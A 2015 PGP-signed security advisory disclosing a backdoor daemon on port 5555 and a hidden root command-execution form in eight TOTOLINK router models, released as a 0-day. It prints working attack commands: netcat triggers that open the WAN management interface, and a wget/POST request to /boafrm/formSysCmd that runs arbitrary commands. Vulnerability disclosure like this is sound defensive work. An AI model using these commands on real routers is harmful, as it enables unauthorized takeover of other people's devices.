8 TOTOLINK Routers Backdoored / Command Execution
Posted on 17 July 2015
Hello, Please find a text-only version below sent to security mailing-lists. The complete version on analysing the backdoor in TOTOLINK products is posted here: https://pierrekim.github.io/blog/2015-07-16-backdoor-and-RCE-found-in-8-TOTOLINK-products.html === text-version of the advisory without technical explanations === -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 ## Advisory Information Title: Backdoor and RCE found in 8 TOTOLINK router models Advisory URL: https://pierrekim.github.io/advisories/2015-totolink-0x02.txt Blog URL: https://pierrekim.github.io/blog/2015-07-16-backdoor-and-RCE-found-in-8-TOTOLINK-products.html Date published: 2015-07-16 Vendors contacted: None Release mode: 0days, Released CVE: no current CVE ## Product Description TOTOLINK is a brother brand of ipTime which wins over 80% of SOHO markets in South Korea. TOTOLINK produces routers routers, wifi access points and network devices. Their products are sold worldwide. ## Vulnerabilities Summary A backdoor is present in several TOTOLINK products. This was confirmed by analysing the latest firmwares and by testing the backdoor against live routers. At least 8 TOTOLINK products are affected (firmwares come from totolink.net and from totolink.cn): - A850R-V1 : until last firwmware TOTOLINK-A850R-V1.0.1-B20150707.1612.web - F1-V2 : until last firmware F1-V2.1.1-B20150708.1646.web - F2-V1 : until last firmware F2-V2.1.0-B20150320.1611.web - N150RT-V2 : until last firmware TOTOLINK-N150RT-V2.1.1-B20150708.1548.web - N151RT-V2 : until last firmware TOTOLINK-N151RT-V2.1.1-B20150708.1559.web - N300RH-V2 : until last firmware TOTOLINK-N300RH-V2.0.1-B20150708.1625.web - N300RH-V3 : until last firmware TOTOLINK-N300RH-V3.0.0-B20150331.0858.web - N300RT-V2 : until last firmware TOTOLINK-N300RT-V2.1.1-B20150708.1613.web By sending a crafted request to the WAN IP, an attacker will open the HTTP remote management interface on the Internet. Then an attacker can use a Remote Code Execution in the HTTP remote management interface by using the hidden /boafrm/formSysCmd form, bypassing the authentication system. We estimate there are =~ 50 000 routers affected by this backdoor. ## Details - backdoor The init.d script executes the /bin/skt binary when the router starts: cat etc/init.d/rcS [...] # start web server boa skt& skt is a small MIPS binary which is a client/server program. The arguments are: server: ./skt client: ./skt host cmd The binary can be used in x86_64 machines using QEMU: sudo chroot . ./qemu-mips-static ./bin/skt Using skt without argument will launch a TCP daemon on port 5555 in every interface (including WAN), acting as an ECHO server. Using skt with arguments will send a TCP packet containing the command to the specified IP on port 5555. The analysis of the binary running on the TOTOLINK devices (for more details, read https://pierrekim.github.io/blog/2015-07-XX-backdoor-in-TOTOLINK-products.html ) shows the server mode responds to 3 commands by silently executing system() in the background: o By sending "hel,xasf" to the device, the device will execute: iptables -I INPUT -p tcp --dport 80 -i eth1 -j ACCEPT This will open the HTTP remote management interface on port 80 in the eth1 interface which is the WAN interface by default. o By sending "oki,xasf" to the device, the device will execute: iptables -D INPUT -p tcp --dport 80 -i eth1 -j ACCEPT This will close the HTTP remote management interface. o By sending "bye,xasf" to the device, the device will do nothing The iptables commands in the backdoor are hardcoded with "eth1". Only devices using DHCP and static IP connections are affected because the WAN IP is attached on the eth1 device. It does not affect devices using PPPoE connections, because the WAN IP is attached on the ppp device, as seen below: totolink# ifconfig ppp0 Link encap:Point-to-Point Protocol inet addr:X.X.X.X P-t-P:X.X.X.X Mask:255.255.255.255 UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1438 Metric:1 RX packets:17308398 errors:0 dropped:0 overruns:0 frame:0 TX packets:2605290 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:64 RX bytes:2803138455 (2.6 GiB) TX bytes:277402492 (264.5 MiB) An attacker can use these simple netcat commands to test the backdoor: To open the HTTP remote management interface on the Internet: echo -ne "hel,xasf" | nc <ip> 5555 To close the HTTP remote management interface on the Internet: echo -ne "oki,xasf" | nc <ip> 5555 To detect a vulnerable router: echo -ne "GET / HTTP/1.1" | nc <ip> 5555 if you see "GET / HTTP/1.1" in the answer, you likely detected a vulnerable router. ## Details - RCE in the management interface A hidden form in the latest firmware allows an attacker to execute commands as root by sending a HTTP request: POST /boafrm/formSysCmd HTTP/1.1 sysCmd=<cmd>&apply=Apply&msg= An attacker can use wget to execute commands in the remote device: wget --post-data='sysCmd=<cmd>&apply=Apply&msg=' http://ip//boafrm/formSysCmd For instance, sending this HTTP request to the management interface will reboot the device: POST /boafrm/formSysCmd HTTP/1.1 sysCmd=reboot&apply=Apply&msg= This wget command will do the same job: wget --post-data='sysCmd=reboot&apply=Apply&msg=' http://ip//boafrm/formSysCmd ## Vendor Response TOTOLINK was not contacted in regard of this case. ## Report Timeline * Jun 25, 2015: Backdoor found by analysing TOTOLINK firmwares. * Jun 26, 2015: Working PoCs with RCE. * Jul 13, 2015: Updated firmwares confirmed vulnerable. * Jul 16, 2015: A public advisory is sent to security mailing lists. ## Credit These vulnerabilities were found by Alexandre Torres and Pierre Kim (@PierreKimSec). ## References https://pierrekim.github.io/advisories/2015-totolink-0x02.txt https://pierrekim.github.io/blog/2015-07-16-backdoor-and-RCE-found-in-8-TOTOLINK-products.html ## Disclaimer This advisory is licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iQIcBAEBCgAGBQJVpqryAAoJEMQ+Dtp9ky28lLgP/3MnpOdYlY+XBKD28uzgYBrp sIYYIIqo0qhLvG4W9eP0xdq7sMjtdhdiJodCPqpubdmIYba5JCFXVrAQUjJXkinN vGXpiyrf36/4QUVyrh7yuc01u+5nw7cnkMg3dNkKeue+XurJuRiFIRrebksehd9r Be+muhjJ1bJXhLNGZQk5mhM626SSHOl+0zR5AFv37h5jsBhspscVldLJDGAdTBDG uLnofLq8PsN4UB95d7GTjw2A88quEwa7frd4FSzCOFjdCmwyVFgnPfSDV/0/3x+e xPqcXERXHEAqYh9UYV8zBw1Oac4ddnXvbOrBcO41Hk2mXJVVL05eg/2YIrEqTTQj GA4UkhwDiNPoZqxK/VvbvnULyqYzarmK5FfE8PjAdPb4NGkrMbAp6Y6auUxbADqO O1uMrx/POJbRNMwfwpugL+NPW8ZWgMqmXE/5IE9XapDrIh2QKfHrPSFDaZ5FTBz1 zAUOFTxcgx24jWwosFBWa0kHNg+AbaH6e0Owgao3/SO8g6mz+N3wxO39uB+FCRCh DIRJlQ1oxaGTRJDfatwM9E0pZpbdnharjESW9zAv2ZHucsbubsXy7Ihy7NiZZuzE N0Dgg6B0yn4O4Wywfpw6Q10B6VdGL4QubUnBM+SGQ8Tt9ef4nnDg2yEjbIWLVXT5 TsR/TJPNRX8HvmWD3+oZ =Kyqa -----END PGP SIGNATURE----- -- Pierre Kim pierre.kim.sec@gmail.com @PierreKimSec https://pierrekim.github.io/
